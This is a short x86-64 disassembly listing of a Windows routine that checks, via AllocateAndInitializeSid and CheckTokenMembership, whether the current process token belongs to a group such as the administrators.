mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x6c], eax
test eax, eax
jne 0x140002e80
add rsp, 0x88
ret
xor ecx, ecx
mov rdx, qword [rsp + 0x78]
lea r8, [rsp + 0x6c]
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x140002e9e
mov dword [rsp + 0x6c], 0
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x6c]
add rsp, 0x88
ret